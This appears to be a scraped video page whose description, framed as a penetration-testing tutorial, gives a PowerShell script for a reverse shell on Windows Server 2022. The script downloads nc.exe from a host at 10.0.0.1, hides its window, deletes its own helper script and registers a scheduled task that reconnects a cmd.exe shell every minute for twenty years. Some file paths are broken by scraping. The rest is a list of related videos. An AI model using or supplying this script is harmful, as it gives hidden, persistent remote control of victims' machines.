Using a PowerShell Script to get a reverse shell in Windows Server 2022 and Task Scheduler [Part 3]

  Рет қаралды 98

Edward van Biljon

Edward van Biljon

Ай бұрын

Learn about reverse shells, a vital technique for penetration testing and ethical hacking. This post covers how to set up and execute a reverse shell using PowerShell on Windows Server 2022 and Task Scheduler. Ensure responsible and legal deployment to enhance network security. [Educational Purposes only]
Here is the script (change the ip to your Kali machine IP):
Define variables
$ncUrl = "10.0.0.1:8000/nc.exe"
$ncPath = "C:\Windows\Temp
c.exe"
$ncCommand = "$ncPath -e cmd.exe 10.0.0.1 8080"
Download nc.exe
Invoke-WebRequest -Uri $ncUrl -OutFile $ncPath
Create a PowerShell script to run nc.exe and delete itself
$scriptPath = "C:\Windows\Temp\RunAndDelete.ps1"
$scriptContent = @"
Start-Process -FilePath $ncPath -ArgumentList '-e cmd.exe 10.0.0.1 8080' -WindowStyle Hidden
Remove-Item -Path '$scriptPath' -Force
"@
$scriptContent | Set-Content -Path $scriptPath
Run the script
Start-Process -FilePath "powershell.exe" -ArgumentList "-ExecutionPolicy Bypass -File $scriptPath" -WindowStyle Hidden
$action=New-ScheduledTaskAction -Execute 'Powershell.exe' -Argument 'C:\Windows\Temp
c.exe -e cmd.exe 10.0.0.1 8080'
$trigger = New-ScheduledTaskTrigger `
-Once `
-At (Get-Date) `
-RepetitionInterval (New-TimeSpan -Minutes 01) `
-RepetitionDuration (New-TimeSpan -Days (365 * 20))
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "My Task" -Description "My Task"

Пікірлер
PowerShell Tutorials : Making your scripts into .exe (executables)
13:22
JackedProgrammer
Рет қаралды 41 М.
Stop, Intel’s Already Dead! - AMD Ryzen 9600X & 9700X Review
13:47
Linus Tech Tips
Рет қаралды 1 МЛН
zoxide has forever improved the way I navigate in the terminal.
9:53
Dreams of Autonomy
Рет қаралды 445 М.
Remotely Control PCs with Reverse Shells!? Easy hacker tool
9:56
Loi Liang Yang
Рет қаралды 49 М.
Walking through the Exchange Admin Center in Exchange 2019 [Part 1]
21:48
Hide a Hacker's Reverse Shell in ONE Command
11:29
John Hammond
Рет қаралды 82 М.
Automate your PowerShell scripts with Windows Task Scheduler
8:24
Shane Young
Рет қаралды 131 М.